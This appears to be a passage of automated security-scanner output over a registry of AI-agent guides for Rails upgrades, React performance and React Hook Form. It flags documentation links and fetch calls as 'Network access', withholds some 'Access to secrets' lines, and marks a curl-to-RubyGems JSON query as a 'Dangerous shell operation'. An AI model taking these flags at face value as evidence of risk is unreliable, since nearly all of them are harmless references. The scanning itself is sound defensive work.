    **What Changed:** The floor does not change: the `rails` 5.1 gemspec requires Ruby `>= 2.2.2`, the same as 5.0, so the Ruby that bundles 5.0 also bundles 5.1. The ceiling rises: the [FastRuby.io compatibility table](https://www.fastruby.io/
  • Network accessline 376
    The floor does not change: the `rails` 5.1 gemspec requires Ruby `>= 2.2.2`, the same as 5.0, so the Ruby that bundles 5.0 also bundles 5.1. The ceiling rises: the [FastRuby.io compatibility table](https://www.fastruby.io/blog/ruby/rails/ve
  • Network accessline 614
    - [Rails 5.1 Release Notes](https://guides.rubyonrails.org/5_1_release_notes.html)
  • Network accessline 615
    - [RailsDiff 5.0 to 5.1](http://railsdiff.org/5.0.7/5.1.7)
  • Network accessline 616
    - [Encrypted Secrets Guide](https://guides.rubyonrails.org/security.html#custom-credentials)

packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-5.1-to-5.2.md

  • Access to secretsline 209
    [Credential-related source omitted]
  • Access to secretsline 212
    [Credential-related source omitted]
  • Network accessline 316
    **What Changed:** The floor does not change: the `rails` 5.2 gemspec requires Ruby `>= 2.2.2`, the same as 5.1, so the Ruby that bundles 5.1 also bundles 5.2. The ceiling rises: the [FastRuby.io compatibility table](https://www.fastruby.io/
  • Network accessline 317
    The floor does not change: the `rails` 5.2 gemspec requires Ruby `>= 2.2.2`, the same as 5.1, so the Ruby that bundles 5.1 also bundles 5.2. The ceiling rises: the [FastRuby.io compatibility table](https://www.fastruby.io/blog/ruby/rails/ve
  • Access to secretsline 409
    [Credential-related source omitted]
  • Network accessline 593
    - [Rails 5.2 Release Notes](https://guides.rubyonrails.org/5_2_release_notes.html)
  • Network accessline 594
    - [RailsDiff 5.1 to 5.2](http://railsdiff.org/5.1.7/5.2.8)
  • Network accessline 595
    - [Active Storage Guide](https://guides.rubyonrails.org/active_storage_overview.html)
  • Network accessline 596
    - [Credentials Guide](https://guides.rubyonrails.org/security.html#custom-credentials)

packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-5.2-to-6.0.md

  • Network accessline 325
    - [Rails 6.0 Release Notes](https://guides.rubyonrails.org/6_0_release_notes.html)
  • Network accessline 326
    - [Zeitwerk Documentation](https://github.com/fxn/zeitwerk)
  • Network accessline 327
    - [Webpacker Documentation](https://github.com/rails/webpacker)

packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-6.0-to-6.1.md

  • Network accessline 303
    - [Rails 6.1 Release Notes](https://guides.rubyonrails.org/6_1_release_notes.html)
  • Network accessline 304
    - [RailsDiff 6.0 to 6.1](http://railsdiff.org/6.0.6/6.1.0)
  • Network accessline 305
    - [Horizontal Sharding Guide](https://guides.rubyonrails.org/active_record_multiple_databases.html)

packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-6.1-to-7.0.md

  • Network accessline 26
    **What Changed:** Rails 7.0 requires Ruby 2.7.0 or newer: the `rails` 7.0 gemspec sets `required_ruby_version >= 2.7.0`, while 6.1 accepts `>= 2.5.0`. Bundler refuses to install 7.0 on an older Ruby, so upgrade Ruby first, while the app is 
  • Network accessline 27
    Rails 7.0 requires Ruby 2.7.0 or newer: the `rails` 7.0 gemspec sets `required_ruby_version >= 2.7.0`, while 6.1 accepts `>= 2.5.0`. Bundler refuses to install 7.0 on an older Ruby, so upgrade Ruby first, while the app is still on Rails 6.1
  • Access to secretsline 241
    [Credential-related source omitted]
  • Access to secretsline 244
    [Credential-related source omitted]
  • Network accessline 334
    redirect_back_or_to session[:forward_url] redirect_to request.referer redirect_to "https://example.com"
  • Network accessline 336
    redirect_to "https://example.com"
  • Network accessline 341
    # BEFORE (raises UnsafeRedirectError under load_defaults 7.0) redirect_to "https://example.com"
  • Network accessline 342
    redirect_to "https://example.com"
  • Network accessline 344
    # AFTER: allow the external host explicitly redirect_to "https://example.com", allow_other_host: true
  • Network accessline 345
    redirect_to "https://example.com", allow_other_host: true
  • Network accessline 578
    - [Rails 7.0 Release Notes](https://guides.rubyonrails.org/7_0_release_notes.html)
  • Network accessline 579
    - [Hotwire Documentation](https://hotwired.dev)
  • Network accessline 580
    - [Turbo Handbook](https://turbo.hotwired.dev/handbook/introduction)
  • Network accessline 581
    - [Import Maps Guide](https://github.com/rails/importmap-rails)

packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-7.0-to-7.1.md

  • Network accessline 28
    **What Changed:** Rails 7.1 needs Ruby 2.7.3 or newer. The `rails` 7.1 gemspec still says `required_ruby_version >= 2.7.0`, the same as 7.0, but activerecord 7.1 defines `def method_missing(name, ...)` in `attribute_methods.rb`. A leading a
  • Network accessline 29
    Rails 7.1 needs Ruby 2.7.3 or newer. The `rails` 7.1 gemspec still says `required_ruby_version >= 2.7.0`, the same as 7.0, but activerecord 7.1 defines `def method_missing(name, ...)` in `attribute_methods.rb`. A leading argument before `..
  • Network accessline 347
    **What Changed:** `ActiveRecord::Migration.check_pending!` is deprecated in favor of `check_all_pending!`, which loops through all configured databases. It still works in 7.1 but emits a deprecation warning, and is removed entirely in Rails
  • Network accessline 348
    `ActiveRecord::Migration.check_pending!` is deprecated in favor of `check_all_pending!`, which loops through all configured databases. It still works in 7.1 but emits a deprecation warning, and is removed entirely in Rails 7.2. Commonly fou
  • Network accessline 493
    - [Rails 7.1 Release Notes](https://guides.rubyonrails.org/7_1_release_notes.html)
  • Network accessline 494
    - [RailsDiff 7.0 to 7.1](http://railsdiff.org/7.0.8/7.1.0)
  • Network accessline 495
    - [Zeitwerk Documentation](https://github.com/fxn/zeitwerk)

packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-7.1-to-7.2.md

  • Access to secretsline 203
    [Credential-related source omitted]
  • Access to secretsline 220
    [Credential-related source omitted]
  • Access to secretsline 223
    [Credential-related source omitted]
  • Access to secretsline 224
    [Credential-related source omitted]
  • Network accessline 233
    **What Changed:** `ActiveRecord::Migration.check_pending!` was deprecated in Rails 7.1 and is removed in Rails 7.2. Calling it raises `NoMethodError`. When invoked from `test_helper.rb` or `rails_helper.rb` it breaks test-suite startup; whe
  • Network accessline 234
    `ActiveRecord::Migration.check_pending!` was deprecated in Rails 7.1 and is removed in Rails 7.2. Calling it raises `NoMethodError`. When invoked from `test_helper.rb` or `rails_helper.rb` it breaks test-suite startup; when configured by a 
  • Network accessline 495
    - [Rails 7.2 Release Notes](https://guides.rubyonrails.org/7_2_release_notes.html)
  • Network accessline 496
    - [RailsDiff 7.1 to 7.2](http://railsdiff.org/7.1.0/7.2.0)
  • Network accessline 497
    - [Credentials Guide](https://guides.rubyonrails.org/security.html#custom-credentials)

packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-7.2-to-8.0.md

  • Network accessline 379
    production:   adapter: redis   url: <%= ENV.fetch("REDIS_URL") %>
  • Network accessline 381
    url: <%= ENV.fetch("REDIS_URL") %>
  • Network accessline 816
    - [Rails 8.0 Release Notes](https://guides.rubyonrails.org/8_0_release_notes.html)
  • Network accessline 817
    - [Propshaft Documentation](https://github.com/rails/propshaft)
  • Network accessline 818
    - [Solid Cache](https://github.com/rails/solid_cache)
  • Network accessline 819
    - [Solid Queue](https://github.com/rails/solid_queue)
  • Network accessline 820
    - [Kamal Documentation](https://kamal-deploy.org)

packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-8.0-to-8.1.md

  • Network accessline 571
    - [Rails 8.1 Release Notes](https://guides.rubyonrails.org/8_1_release_notes.html)
  • Network accessline 572
    - [bundler-audit](https://github.com/rubysec/bundler-audit)
  • Network accessline 573
    - [Kamal Documentation](https://kamal-deploy.org)

packages/autoskills/skills-registry/rails-upgrade/workflows/05-detect-breaking-changes-workflow.md

  • Access to secretsline 351
    [Credential-related source omitted]

packages/autoskills/skills-registry/rails-upgrade/workflows/06-check-gem-compatibility-workflow.md

  • Network accessline 41
    |---|---|---|---| | **Primary**: `bundle_report compatibility` | `next_rails` (local CLI) | Synchronous, pre-bucketed output, gives upgrade target version per gem, no third-party uptime concern | Reads gemspec metadata only — can miss trans
  • Network accessline 43
    | **Secondary**: railsbump.org API | `https://api.railsbump.org` | Tests actual lockfile resolution graph against a real Rails release | Async (30-600s polling), depends on third-party uptime, occasional `unknown` results |
  • Network accessline 106
    curl -sS -X POST https://api.railsbump.org/lockfiles \
  • Network accessline 117
    "slug": "abc123",   "status": "pending",   "status_url": "https://api.railsbump.org/lockfiles/abc123",
  • Network accessline 118
    "status": "pending",   "status_url": "https://api.railsbump.org/lockfiles/abc123",   "retry_after_seconds": 45,
  • Network accessline 119
    "status_url": "https://api.railsbump.org/lockfiles/abc123",
  • Network accessline 132
    curl -sS https://api.railsbump.org/lockfiles/<slug> | jq .

packages/autoskills/skills-registry/rails-upgrade/workflows/07-boot-smoke-test-workflow.md

  • Dangerous shell operationline 77
    curl -s https://rubygems.org/api/v1/versions/<gem>.json       | ruby -rjson -e 'puts JSON.parse(STDIN.read).first(8).map{|x|x["number"]}'
  • Network accessline 77
    curl -s https://rubygems.org/api/v1/versions/<gem>.json \

packages/autoskills/skills-registry/react-best-practices/AGENTS.md

  • Network accessline 266
    Reference: [https://github.com/shuding/better-all](https://github.com/shuding/better-all)
  • Network accessline 477
    Reference: [https://vercel.com/blog/how-we-optimized-package-imports-in-next-js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js)
  • Network accessline 639
    Reference: [https://nextjs.org/docs/app/api-reference/config/next-config-js/output](https://nextjs.org/docs/app/api-reference/config/next-config-js/output), [https://nextjs.org/learn/seo/dynamic-imports](https://nextjs.org/learn/seo/dynamic
  • Network accessline 783
    Reference: [https://nextjs.org/docs/app/guides/authentication](https://nextjs.org/docs/app/guides/authentication)
  • Network accessline 925
    **With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute):** LRU caching is especially effective because multiple concurrent requests can share the same function instance and cache. This means the cache persists across requests
  • Network accessline 929
    Reference: [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache)
  • Network accessline 943
    export async function GET(request: Request) {   // Runs on EVERY request - expensive!   const fontData = await fetch(
  • Network accessline 944
    // Runs on EVERY request - expensive!   const fontData = await fetch(     new URL('./fonts/Inter.ttf', import.meta.url)
  • Network accessline 945
    const fontData = await fetch(
  • Network accessline 949
    const logoData = await fetch(
  • Network accessline 969
    // Module-level: runs ONCE when module is first imported const fontData = fetch(
  • Network accessline 970
    const fontData = fetch(
  • Network accessline 974
    const logoData = fetch(
  • Network accessline 1077
    With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute), module-level caching is especially effective because multiple concurrent requests share the same function instance. The static assets stay loaded in memory across request
  • Network accessline 1288
    Reference: [https://react.dev/reference/react/cache](https://react.dev/reference/react/cache)
  • Network accessline 1362
    Reference: [https://nextjs.org/docs/app/api-reference/functions/after](https://nextjs.org/docs/app/api-reference/functions/after)
  • Network accessline 1496
    const [users, setUsers] = useState([])   useEffect(() => {     fetch('/api/users')
  • Network accessline 1497
    useEffect(() => {     fetch('/api/users')       .then(r => r.json())
  • Network accessline 1498
    fetch('/api/users')
  • Network accessline 1536
    Reference: [https://swr.vercel.app](https://swr.vercel.app)
  • Network accessline 1647
    Reference: [https://react.dev/learn/you-might-not-need-an-effect](https://react.dev/learn/you-might-not-need-an-effect)
  • Network accessline 1866
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, manual memoization with `memo()` and `useMemo()` is not necessary. The compiler automatically optimizes re-renders.
  • Network accessline 1948
    Reference: [https://react.dev/learn/removing-effect-dependencies#should-this-code-move-to-an-event-handler](https://react.dev/learn/removing-effect-dependencies#should-this-code-move-to-an-event-handler)
  • Network accessline 2008
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, it automatically optimizes dependency tracking and may handle some of these cases for you.
  • Network accessline 2111
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler can automatically optimize some cases, but functional updates are still recommended for correctness and to prevent stale closure bu
  • Network accessline 2258
    Reference: [https://react.dev/reference/react/useDeferredValue](https://react.dev/reference/react/useDeferredValue)
  • Network accessline 2454
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler automatically hoists static JSX elements and optimizes component re-renders, making manual hoisting unnecessary.
  • Network accessline 2623
    <html>       <head>         <script src="https://example.com/analytics.js" />
  • Network accessline 2624
    <head>         <script src="https://example.com/analytics.js" />         <script src="/scripts/utils.js" />
  • Network accessline 2625
    <script src="https://example.com/analytics.js" />
  • Network accessline 2640
    return (     <>       <Script src="https://example.com/analytics.js" strategy="afterInteractive" />
  • Network accessline 2641
    <>       <Script src="https://example.com/analytics.js" strategy="afterInteractive" />       <Script src="/scripts/utils.js" strategy="beforeInteractive" />
  • Network accessline 2642
    <Script src="https://example.com/analytics.js" strategy="afterInteractive" />
  • Network accessline 2651
    Reference: [https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#defer](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#defer)
  • Network accessline 2712
    export default function App() {   prefetchDNS('https://analytics.example.com')
  • Network accessline 2713
    prefetchDNS('https://analytics.example.com')
  • Network accessline 2714
    preconnect('https://api.example.com')
  • Network accessline 2778
    Reference: [https://react.dev/reference/react-dom#resource-preloading-apis](https://react.dev/reference/react-dom#resource-preloading-apis)
  • Network accessline 2852
    Reference: [https://react.dev/reference/react/useTransition](https://react.dev/reference/react/useTransition)
  • Network accessline 2948
    See [this gist](https://gist.github.com/paulirish/5d52fb081b3570c81e3a) and [CSS Triggers](https://csstriggers.com/) for more information on layout-forcing operations.
  • Network accessline 3082
    Reference: [https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)
  • Network accessline 3552
    This works for small arrays, but can be slower or just throw an error for very large arrays due to spread operator limitations. Maximal array length is approximately 124000 in Chrome 143 and 638000 in Safari 18; exact numbers may vary - see
  • Network accessline 3689
    Reference: [https://react.dev/reference/react/useEffectEvent#effect-event-in-deps](https://react.dev/reference/react/useEffectEvent#effect-event-in-deps)
  • Network accessline 3727
    Reference: [https://react.dev/learn/you-might-not-need-an-effect#initializing-the-application](https://react.dev/learn/you-might-not-need-an-effect#initializing-the-application)
  • Network accessline 3804
    1. [https://react.dev](https://react.dev)
  • Network accessline 3805
    2. [https://nextjs.org](https://nextjs.org)
  • Network accessline 3806
    3. [https://swr.vercel.app](https://swr.vercel.app)
  • Network accessline 3807
    4. [https://github.com/shuding/better-all](https://github.com/shuding/better-all)
  • Network accessline 3808
    5. [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache)
  • Network accessline 3809
    6. [https://vercel.com/blog/how-we-optimized-package-imports-in-next-js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js)
  • Network accessline 3810
    7. [https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)

packages/autoskills/skills-registry/react-best-practices/README.md

  • Network accessline 84
    Reference: [Link](https://example.com)
  • Network accessline 123
    Originally created by [@shuding](https://x.com/shuding) at [Vercel](https://vercel.com).

packages/autoskills/skills-registry/react-best-practices/metadata.json

  • Network accessline 5
    "abstract": "Comprehensive performance optimization guide for React and Next.js applications, designed for AI agents and LLMs. Contains 40+ rules across 8 categories, prioritized by impact from critical (eliminating waterfalls, reducing bun
  • Network accessline 6
    "references": [     "https://react.dev",     "https://nextjs.org",
  • Network accessline 7
    "https://react.dev",
  • Network accessline 8
    "https://nextjs.org",
  • Network accessline 9
    "https://swr.vercel.app",
  • Network accessline 10
    "https://github.com/shuding/better-all",
  • Network accessline 11
    "https://github.com/isaacs/node-lru-cache",
  • Network accessline 12
    "https://vercel.com/blog/how-we-optimized-package-imports-in-next-js",
  • Network accessline 13
    "https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast"

packages/autoskills/skills-registry/react-best-practices/rules/_template.md

  • Network accessline 28
    Reference: [Link to documentation or resource](https://example.com)

packages/autoskills/skills-registry/react-best-practices/rules/advanced-effect-event-deps.md

  • Network accessline 56
    Reference: [React useEffectEvent: Effect Event in deps](https://react.dev/reference/react/useEffectEvent#effect-event-in-deps)

packages/autoskills/skills-registry/react-best-practices/rules/advanced-init-once.md

  • Network accessline 42
    Reference: [Initializing the application](https://react.dev/learn/you-might-not-need-an-effect#initializing-the-application)

packages/autoskills/skills-registry/react-best-practices/rules/async-dependencies.md

  • Network accessline 51
    Reference: [https://github.com/shuding/better-all](https://github.com/shuding/better-all)

packages/autoskills/skills-registry/react-best-practices/rules/bundle-analyzable-paths.md

  • Network accessline 63
    Reference: [Next.js output](https://nextjs.org/docs/app/api-reference/config/next-config-js/output), [Next.js dynamic imports](https://nextjs.org/learn/seo/dynamic-imports), [Vite features](https://vite.dev/guide/features.html), [esbuild AP

packages/autoskills/skills-registry/react-best-practices/rules/bundle-barrel-imports.md

  • Network accessline 60
    Reference: [How we optimized package imports in Next.js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js)

packages/autoskills/skills-registry/react-best-practices/rules/client-swr-dedup.md

  • Network accessline 16
    const [users, setUsers] = useState([])   useEffect(() => {     fetch('/api/users')
  • Network accessline 17
    useEffect(() => {     fetch('/api/users')       .then(r => r.json())
  • Network accessline 18
    fetch('/api/users')
  • Network accessline 56
    Reference: [https://swr.vercel.app](https://swr.vercel.app)

packages/autoskills/skills-registry/react-best-practices/rules/js-batch-dom-css.md

  • Network accessline 107
    See [this gist](https://gist.github.com/paulirish/5d52fb081b3570c81e3a) and [CSS Triggers](https://csstriggers.com/) for more information on layout-forcing operations.

packages/autoskills/skills-registry/react-best-practices/rules/js-cache-function-results.md

  • Network accessline 80
    Reference: [How we made the Vercel Dashboard twice as fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)

packages/autoskills/skills-registry/react-best-practices/rules/js-min-max-loop.md

  • Network accessline 82
    This works for small arrays, but can be slower or just throw an error for very large arrays due to spread operator limitations. Maximal array length is approximately 124000 in Chrome 143 and 638000 in Safari 18; exact numbers may vary - see

packages/autoskills/skills-registry/react-best-practices/rules/rendering-hoist-jsx.md

  • Network accessline 46
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler automatically hoists static JSX elements and optimizes component re-renders, making manual hoisting unnecessary.

packages/autoskills/skills-registry/react-best-practices/rules/rendering-resource-hints.md

  • Network accessline 26
    export default function App() {   prefetchDNS('https://analytics.example.com')
  • Network accessline 27
    prefetchDNS('https://analytics.example.com')
  • Network accessline 28
    preconnect('https://api.example.com')
  • Network accessline 85
    Reference: [React DOM Resource Preloading APIs](https://react.dev/reference/react-dom#resource-preloading-apis)

packages/autoskills/skills-registry/react-best-practices/rules/rendering-script-defer-async.md

  • Network accessline 24
    <html>       <head>         <script src="https://example.com/analytics.js" />
  • Network accessline 25
    <head>         <script src="https://example.com/analytics.js" />         <script src="/scripts/utils.js" />
  • Network accessline 26
    <script src="https://example.com/analytics.js" />
  • Network accessline 41
    <head>         {/* Independent script - use async */}         <script src="https://example.com/analytics.js" async />
  • Network accessline 42
    {/* Independent script - use async */}         <script src="https://example.com/analytics.js" async />         {/* DOM-dependent script - use defer */}
  • Network accessline 43
    <script src="https://example.com/analytics.js" async />
  • Network accessline 59
    return (     <>       <Script src="https://example.com/analytics.js" strategy="afterInteractive" />
  • Network accessline 60
    <>       <Script src="https://example.com/analytics.js" strategy="afterInteractive" />       <Script src="/scripts/utils.js" strategy="beforeInteractive" />
  • Network accessline 61
    <Script src="https://example.com/analytics.js" strategy="afterInteractive" />
  • Network accessline 68
    Reference: [MDN - Script element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#defer)

packages/autoskills/skills-registry/react-best-practices/rules/rendering-usetransition-loading.md

  • Network accessline 75
    Reference: [useTransition](https://react.dev/reference/react/useTransition)

packages/autoskills/skills-registry/react-best-practices/rules/rerender-derived-state-no-effect.md

  • Network accessline 40
    References: [You Might Not Need an Effect](https://react.dev/learn/you-might-not-need-an-effect)

packages/autoskills/skills-registry/react-best-practices/rules/rerender-functional-setstate.md

  • Network accessline 74
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler can automatically optimize some cases, but functional updates are still recommended for correctness and to prevent stale closure bu

packages/autoskills/skills-registry/react-best-practices/rules/rerender-memo.md

  • Network accessline 44
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, manual memoization with `memo()` and `useMemo()` is not necessary. The compiler automatically optimizes re-renders.

packages/autoskills/skills-registry/react-best-practices/rules/rerender-move-effect-to-event.md

  • Network accessline 45
    Reference: [Should this code move to an event handler?](https://react.dev/learn/removing-effect-dependencies#should-this-code-move-to-an-event-handler)

packages/autoskills/skills-registry/react-best-practices/rules/rerender-split-combined-hooks.md

  • Network accessline 64
    **Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, it automatically optimizes dependency tracking and may handle some of these cases for you.

packages/autoskills/skills-registry/react-best-practices/rules/rerender-use-deferred-value.md

  • Network accessline 59
    Reference: [React useDeferredValue](https://react.dev/reference/react/useDeferredValue)

packages/autoskills/skills-registry/react-best-practices/rules/server-after-nonblocking.md

  • Network accessline 73
    Reference: [https://nextjs.org/docs/app/api-reference/functions/after](https://nextjs.org/docs/app/api-reference/functions/after)

packages/autoskills/skills-registry/react-best-practices/rules/server-auth-actions.md

  • Network accessline 96
    Reference: [https://nextjs.org/docs/app/guides/authentication](https://nextjs.org/docs/app/guides/authentication)

packages/autoskills/skills-registry/react-best-practices/rules/server-cache-lru.md

  • Network accessline 37
    **With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute):** LRU caching is especially effective because multiple concurrent requests can share the same function instance and cache. This means the cache persists across requests
  • Network accessline 41
    Reference: [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache)

packages/autoskills/skills-registry/react-best-practices/rules/server-cache-react.md

  • Network accessline 76
    Reference: [React.cache documentation](https://react.dev/reference/react/cache)

packages/autoskills/skills-registry/react-best-practices/rules/server-hoist-static-io.md

  • Network accessline 20
    export async function GET(request: Request) {   // Runs on EVERY request - expensive!   const fontData = await fetch(
  • Network accessline 21
    // Runs on EVERY request - expensive!   const fontData = await fetch(     new URL('./fonts/Inter.ttf', import.meta.url)
  • Network accessline 22
    const fontData = await fetch(
  • Network accessline 26
    const logoData = await fetch(
  • Network accessline 46
    // Module-level: runs ONCE when module is first imported const fontData = fetch(
  • Network accessline 47
    const fontData = fetch(
  • Network accessline 51
    const logoData = fetch(
  • Network accessline 147
    With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute), module-level caching is especially effective because multiple concurrent requests share the same function instance. The static assets stay loaded in memory across request

packages/autoskills/skills-registry/react-hook-form/AGENTS.md

  • Network accessline 69
    1. [https://react-hook-form.com/docs](https://react-hook-form.com/docs)
  • Network accessline 70
    2. [https://react-hook-form.com/advanced-usage](https://react-hook-form.com/advanced-usage)
  • Network accessline 71
    3. [https://react-hook-form.com/docs/useform](https://react-hook-form.com/docs/useform)
  • Network accessline 72
    4. [https://react-hook-form.com/docs/useform/subscribe](https://react-hook-form.com/docs/useform/subscribe)
  • Network accessline 73
    5. [https://react-hook-form.com/docs/useform/seterror](https://react-hook-form.com/docs/useform/seterror)
  • Network accessline 74
    6. [https://react-hook-form.com/docs/useform/setvalue](https://react-hook-form.com/docs/useform/setvalue)
  • Network accessline 75
    7. [https://react-hook-form.com/docs/useform/resetdefaultvalues](https://react-hook-form.com/docs/useform/resetdefaultvalues)
  • Network accessline 76
    8. [https://react-hook-form.com/docs/useform/formstate](https://react-hook-form.com/docs/useform/formstate)
  • Network accessline 77
    9. [https://react-hook-form.com/docs/usewatch](https://react-hook-form.com/docs/usewatch)
  • Network accessline 78
    10. [https://react-hook-form.com/docs/usecontroller](https://react-hook-form.com/docs/usecontroller)
  • Network accessline 79
    11. [https://react-hook-form.com/docs/usefieldarray](https://react-hook-form.com/docs/usefieldarray)
  • Network accessline 80
    12. [https://react-hook-form.com/docs/useformstate](https://react-hook-form.com/docs/useformstate)
  • Network accessline 81
    13. [https://github.com/react-hook-form/react-hook-form/releases](https://github.com/react-hook-form/react-hook-form/releases)
  • Network accessline 82
    14. [https://github.com/react-hook-form/resolvers](https://github.com/react-hook-form/resolvers)
  • Network accessline 83
    15. [https://ui.shadcn.com/docs/components/form](https://ui.shadcn.com/docs/components/form)

packages/autoskills/skills-registry/react-hook-form/README.md

  • Network accessline 86
    Reference: [Documentation Link](https://example.com)

packages/autoskills/skills-registry/react-hook-form/assets/templates/_template.md

  • Network accessline 26
    Reference: [Link to documentation or resource](https://example.com)

packages/autoskills/skills-registry/react-hook-form/metadata.json

  • Network accessline 6
    "abstract": "Focused guide to the React Hook Form decisions a capable model gets wrong. Contains 35 rules across 7 categories, verified against react-hook-form 7.82.0 by diffing the shipped type definitions and type-checking every code bloc
  • Network accessline 7
    "references": [     "https://react-hook-form.com/docs",     "https://react-hook-form.com/advanced-usage",
  • Network accessline 8
    "https://react-hook-form.com/docs",
  • Network accessline 9
    "https://react-hook-form.com/advanced-usage",
  • Network accessline 10
    "https://react-hook-form.com/docs/useform",
  • Network accessline 11
    "https://react-hook-form.com/docs/useform/subscribe",
  • Network accessline 12
    "https://react-hook-form.com/docs/useform/seterror",
  • Network accessline 13
    "https://react-hook-form.com/docs/useform/setvalue",
  • Network accessline 14
    "https://react-hook-form.com/docs/useform/handlesubmit",
  • Network accessline 15
    "https://react-hook-form.com/docs/useform/register",
  • Network accessline 16
    "https://react-hook-form.com/docs/useform/resetdefaultvalues",
  • Network accessline 17
    "https://react-hook-form.com/docs/useform/formstate",
  • Network accessline 18
    "https://react-hook-form.com/docs/usewatch",
  • Network accessline 19
    "https://react-hook-form.com/docs/usecontroller",
  • Network accessline 20
    "https://react-hook-form.com/docs/usefieldarray",
  • Network accessline 21
    "https://react-hook-form.com/docs/useformstate",
  • Network accessline 22
    "https://github.com/react-hook-form/react-hook-form/releases",
  • Network accessline 23
    "https://github.com/react-hook-form/resolvers",
  • Network accessline 24
    "https://ui.shadcn.com/docs/components/form"

packages/autoskills/skills-registry/react-hook-form/references/array-disabled-silently-noops.md

  • Network accessline 56
    Reference: [useFieldArray](https://react-hook-form.com/docs/usefieldarray)

packages/autoskills/skills-registry/react-hook-form/references/array-separate-crud-operations.md

  • Network accessline 76
    Reference: [useFieldArray](https://react-hook-form.com/docs/usefieldarray)

packages/autoskills/skills-registry/react-hook-form/references/array-unique-fieldarray-per-name.md

  • Network accessline 58
    Reference: [useFieldArray](https://react-hook-form.com/docs/usefieldarray)

packages/autoskills/skills-registry/react-hook-form/references/array-use-field-id-as-key.md

  • Network accessline 56
    Reference: [useFieldArray](https://react-hook-form.com/docs/usefieldarray)

packages/autoskills/skills-registry/react-hook-form/references/ctrl-controller-field-props.md

  • Network accessline 56
    Reference: [useController](https://react-hook-form.com/docs/usecontroller)

packages/autoskills/skills-registry/react-hook-form/references/ctrl-usecontroller-isolation.md

  • Network accessline 80
    Reference: [useController](https://react-hook-form.com/docs/usecontroller) · [Controller](https://react-hook-form.com/docs/usecontroller/controller)

packages/autoskills/skills-registry/react-hook-form/references/formcfg-async-default-values.md

  • Network accessline 69
    Reference: [useForm - defaultValues](https://react-hook-form.com/docs/useform)

packages/autoskills/skills-registry/react-hook-form/references/formcfg-default-values.md

  • Network accessline 58
    Reference: [useForm - defaultValues](https://react-hook-form.com/docs/useform)

packages/autoskills/skills-registry/react-hook-form/references/formcfg-disabled-prop.md

  • Network accessline 83
    Reference: [register - disabled](https://react-hook-form.com/docs/useform/register)

packages/autoskills/skills-registry/react-hook-form/references/formcfg-revalidate-mode.md

  • Network accessline 58
    Reference: [useForm - reValidateMode](https://react-hook-form.com/docs/useform)

packages/autoskills/skills-registry/react-hook-form/references/formcfg-should-unregister.md

  • Network accessline 56
    Reference: [useForm - shouldUnregister](https://react-hook-form.com/docs/useform)

packages/autoskills/skills-registry/react-hook-form/references/formcfg-transformed-values-generic.md

  • Network accessline 70
    Reference: [useForm](https://react-hook-form.com/docs/useform) · [React Hook Form Resolvers](https://github.com/react-hook-form/resolvers)

packages/autoskills/skills-registry/react-hook-form/references/formcfg-useeffect-dependency.md

  • Network accessline 62
    Reference: [useForm](https://react-hook-form.com/docs/useform) · [formState](https://react-hook-form.com/docs/useform/formstate)

packages/autoskills/skills-registry/react-hook-form/references/formcfg-validation-mode.md

  • Network accessline 55
    Reference: [useForm - mode](https://react-hook-form.com/docs/useform)

packages/autoskills/skills-registry/react-hook-form/references/formcfg-values-prop.md

  • Network accessline 61
    Reference: [useForm - values](https://react-hook-form.com/docs/useform)

packages/autoskills/skills-registry/react-hook-form/references/formstate-async-submit-lifecycle.md

  • Network accessline 18
    const onSubmit = async (data: PostFormData) => {     const res = await fetch('/api/posts', { method: 'POST', body: JSON.stringify(data) })
  • Network accessline 19
    const res = await fetch('/api/posts', { method: 'POST', body: JSON.stringify(data) })
  • Network accessline 46
    const onSubmit = async (data: PostFormData) => {     try {       const res = await fetch('/api/posts', { method: 'POST', body: JSON.stringify(data) })
  • Network accessline 47
    try {       const res = await fetch('/api/posts', { method: 'POST', body: JSON.stringify(data) })       if (!res.ok) {
  • Network accessline 48
    const res = await fetch('/api/posts', { method: 'POST', body: JSON.stringify(data) })
  • Network accessline 79
    Reference: [formState](https://react-hook-form.com/docs/useform/formstate) · [reset](https://react-hook-form.com/docs/useform/reset) · [Discussion #10103 — isSubmitting does not recover when submit handler throws](https://github.com/orgs/re

packages/autoskills/skills-registry/react-hook-form/references/formstate-avoid-isvalid-with-onsubmit.md

  • Network accessline 65
    Reference: [useForm - mode](https://react-hook-form.com/docs/useform)

packages/autoskills/skills-registry/react-hook-form/references/formstate-destructure-formstate.md

  • Network accessline 49
